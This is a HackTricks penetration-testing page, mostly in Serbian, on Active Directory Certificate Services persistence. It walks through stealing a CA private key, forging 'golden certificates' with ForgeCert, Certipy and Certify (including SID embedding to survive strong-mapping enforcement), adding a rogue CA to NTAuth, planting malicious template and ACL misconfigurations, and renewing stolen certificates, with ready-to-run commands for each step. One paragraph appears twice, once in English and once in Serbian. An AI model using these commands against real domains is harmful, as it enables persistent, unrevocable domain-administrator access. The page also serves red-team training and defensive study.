AD CS Persistencija u domenu
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Ovo je rezime tehnika persistencije u domenu podeljenih u https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf. Proverite ga za detaljnije informacije.
Kovanje sertifikata pomoću ukradenih CA sertifikata (Golden Certificate) - DPERSIST1
Kako možete utvrditi da je sertifikat CA sertifikat?
Može se utvrditi da je sertifikat CA sertifikat ako su ispunjeni sledeći uslovi:
- Sertifikat je pohranjen na CA serveru, a njegov privatni ključ je zaštićen DPAPI-jem mašine, ili hardverom kao što su TPM/HSM ako operativni sistem to podržava.
- Polja Issuer i Subject sertifikata odgovaraju distinguisanom imenu CA.
- Ekstenzija “CA Version” prisutna je isključivo u CA sertifikatima.
- Sertifikat nema polja Extended Key Usage (EKU).
Za izdvajanje privatnog ključa ovog sertifikata, podržani metod je alat certsrv.msc na CA serveru preko ugrađenog GUI-ja. Ipak, ovaj sertifikat se ne razlikuje od ostalih pohranjenih u sistemu; zato se mogu primeniti metode poput THEFT2 technique za ekstrakciju.
Sertifikat i privatni ključ se takođe mogu dobiti koristeći Certipy sa sledećom komandom:
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
Nakon dobijanja CA sertifikata i njegovog privatnog ključa u .pfx formatu, alati poput ForgeCert mogu se koristiti za generisanje važećih sertifikata:
# Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
# Generating a new certificate with certipy
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'
# Authenticating using the new certificate with Rubeus
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!
# Authenticating using the new certificate with certipy
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
Warning
Korisnik koji je meta falsifikovanja sertifikata mora biti aktivan i sposoban da se autentifikuje u Active Directory da bi proces uspeo. Falsifikovanje sertifikata za specijalne naloge poput krbtgt je neefikasno.
Ovaj falsifikovani sertifikat će biti valid do navedenog datuma isteka i sve dok je root CA certificate valid (obično od 5 do 10+ godina). Takođe je valid za machines, pa u kombinaciji sa S4U2Self, napadač može održavati persistence na bilo kojoj domain machine koliko god CA certificate važi.
Štaviše, certificates generated ovom metodom cannot be revoked jer CA nije svestan njih.
Operating under Strong Certificate Mapping Enforcement (2025+)
Since February 11, 2025 (after KB5014754 rollout), domain controllers default to Full Enforcement for certificate mappings. Practically this means your forged certificates must either:
- Contain a strong binding to the target account (for example, the SID security extension), or
- Be paired with a strong, explicit mapping on the target object’s
altSecurityIdentitiesattribute.
A reliable approach for persistence is to mint a forged certificate chained to the stolen Enterprise CA and then add a strong explicit mapping to the victim principal:
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
$SerialR = '1200000000AC11000000002B' # serial in reversed byte order
$Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
Napomene
- Ako možete izraditi falsifikovane sertifikate koji uključuju SID security extension, oni će se implicitno mapirati čak i pod Full Enforcement. U suprotnom, preferirajte eksplicitna, jaka mapiranja. Pogledajte account-persistence za više o eksplicitnim mapiranjima.
- Povlačenje ovde ne pomaže braniocima: falsifikovani sertifikati nisu poznati CA bazi podataka i stoga ih nije moguće povući.
Full-Enforcement compatible forging (SID-aware)
Ažurirani alati vam omogućavaju da direktno ugradite SID, čime golden certificates ostaju upotrebljivi čak i kada DCs odbace slaba mapiranja:
# Certify 2.0 integrates ForgeCert and can embed SID
Certify.exe forge --ca-pfx CORP-DC-CA.pfx --ca-pass Password123! \
--upn administrator@corp.local --sid S-1-5-21-1111111111-2222222222-3333333333-500 \
--outfile administrator_sid.pfx
# Certipy also supports SID in forged certs
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local \
-sid S-1-5-21-1111111111-2222222222-3333333333-500 -out administrator_sid.pfx
Ugrađivanjem SID-a izbegavate potrebu da dirate altSecurityIdentities, koje može biti nadgledano, a istovremeno zadovoljavate stroge provere mapiranja.
Verovanje lažnim CA sertifikatima - DPERSIST2
Objekat NTAuthCertificates je definisan da sadrži jedan ili više CA certificates unutar svog atributa cacertificate, koji koristi Active Directory (AD). Proces verifikacije koji sprovodi kontroler domena uključuje proveru objekta NTAuthCertificates radi pronalaska unosa koji odgovara CA specified u polju Issuer autentifikujućeg certificate. Ako se pronađe poklapanje, autentifikacija se nastavlja.
Self-signed CA sertifikat može biti dodat u objekat NTAuthCertificates od strane napadača, pod uslovom da imaju kontrolu nad ovim AD objektom. Obično samo članovi grupe Enterprise Admin, kao i Domain Admins ili Administrators u domena korena šume, imaju dozvolu da menjaju ovaj objekat. Mogu izmeniti objekat NTAuthCertificates koristeći certutil.exe komandom certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA, ili koristeći PKI Health Tool.
Dodatne korisne komande za ovu tehniku:
# Add/remove and inspect the Enterprise NTAuth store
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
certutil -enterprise -viewstore NTAuth
certutil -enterprise -delstore NTAuth <Thumbprint>
# (Optional) publish into AD CA containers to improve chain building across the forest
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
Ova mogućnost je posebno relevantna kada se koristi u kombinaciji sa prethodno opisanim metodom koja uključuje ForgeCert za dinamičko generisanje sertifikata.
Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in Full Enforcement, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in
altSecurityIdentities). See AD CS Account Persistence.
Malicious Misconfiguration - DPERSIST3
Mogućnosti za persistenciju kroz izmene bezbednosnih deskriptora komponenti AD CS su brojne. Izmene opisane u odeljku “Domain Escalation” mogu biti zlonamerno implementirane od strane napadača sa povišenim pristupom. Ovo uključuje dodavanje “control rights” (npr. WriteOwner/WriteDACL/etc.) osetljivim komponentama kao što su:
- AD computer objekat CA servera
- RPC/DCOM server CA servera
- Bilo koji potomak AD objekta ili kontejner u
CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>(na primer, Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, itd.) - AD groups kojima su delegirana prava da kontrolišu AD CS podrazumevano ili od strane organizacije (kao što je ugrađena Cert Publishers grupa i bilo koji od njenih članova)
Primer zlonamerne implementacije bi podrazumevao napadača koji ima povišene dozvole u domenu, i koji dodaje WriteOwner dozvolu na podrazumevani User certificate template, pri čemu je napadač principal za to pravo. Da bi iskoristio ovo, napadač bi prvo promenio vlasništvo User template-a na sebe. Nakon toga, mspki-certificate-name-flag bi bio postavljen na 1 na template-u da omogući ENROLLEE_SUPPLIES_SUBJECT, dopuštajući korisniku da u zahtevu navede Subject Alternative Name. Potom bi napadač mogao da se prijavi koristeći taj template, birajući ime domain administrator-a kao alternativno ime, i koristi pribavljeni sertifikat za autentifikaciju kao DA.
Praktični parametri koje napadači mogu podesiti za dugoročnu persistenciju domena (vidi AD CS Domain Escalation za potpune detalje i detekciju):
- CA policy flags koji dozvoljavaju SAN iz zahteva (npr. omogućavanje
EDITF_ATTRIBUTESUBJECTALTNAME2). Ovo ostavlja ESC1-slične puteve iskoristivim. - Template DACL ili podešavanja koji omogućavaju izdavanje koje podržava autentifikaciju (npr. dodavanje Client Authentication EKU, omogućavanje
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT). - Kontrola
NTAuthCertificatesobjekta ili CA kontejnera da kontinuirano ponovo uvedu rogue izdavače ako branitelji pokušaju čišćenje.
Tip
U ojačanim okruženjima nakon KB5014754, kombinovanje ovih pogrešnih konfiguracija sa eksplicitnim jakim mapiranjima (
altSecurityIdentities) osigurava da vaši izdate ili falsifikovani sertifikati ostanu upotrebljivi čak i kada DC-ovi primenjuju snažno mapiranje.
Certificate renewal abuse (ESC14) for persistence
Ako kompromitujete sertifikat sposoban za autentifikaciju (ili onaj tipa Enrollment Agent), možete ga obnavljati neograničeno sve dok je izdavački template i dalje objavljen i dok vaša CA i dalje veruje issuer lancu. Renewal zadržava originalna vezivanja identiteta ali produžava važenje, što otežava uklanjanje osim ako template nije popravljен ili CA re-publikovan.
# Renew a stolen user cert to extend validity
certipy req -ca CORP-DC-CA -template User -pfx stolen_user.pfx -renew -out user_renewed_2026.pfx
# Renew an on-behalf-of cert issued via an Enrollment Agent
certipy req -ca CORP-DC-CA -on-behalf-of 'CORP/victim' -pfx agent.pfx -renew -out victim_renewed.pfx
If domain controllers are in Full Enforcement, add -sid <victim SID> (or use a template that still includes the SID security extension) so the renewed leaf certificate continues to map strongly without touching altSecurityIdentities. Attackers with CA admin rights may also tweak policy\RenewalValidityPeriodUnits to lengthen renewed lifetimes before issuing themselves a cert.
Ako su domain controller-i u režimu Full Enforcement, dodajte -sid <victim SID> (ili koristite template koji i dalje uključuje SID security ekstenziju) tako da obnovljeni leaf certificate i dalje ostane snažno mapiran bez menjanja altSecurityIdentities. Napadači sa CA administratorskim pravima takođe mogu podesiti policy\RenewalValidityPeriodUnits da produže periode važenja obnovljenih sertifikata pre nego što sebi izda sertifikat.
References
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings)
- Certipy – Command Reference and forge/auth usage
- SpecterOps – Certify 2.0 (integrated forge with SID support)
- ESC14 renewal abuse overview
- 0xdf – HTB: Certificate (SeManageVolumePrivilege to exfil CA keys → Golden Certificate)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


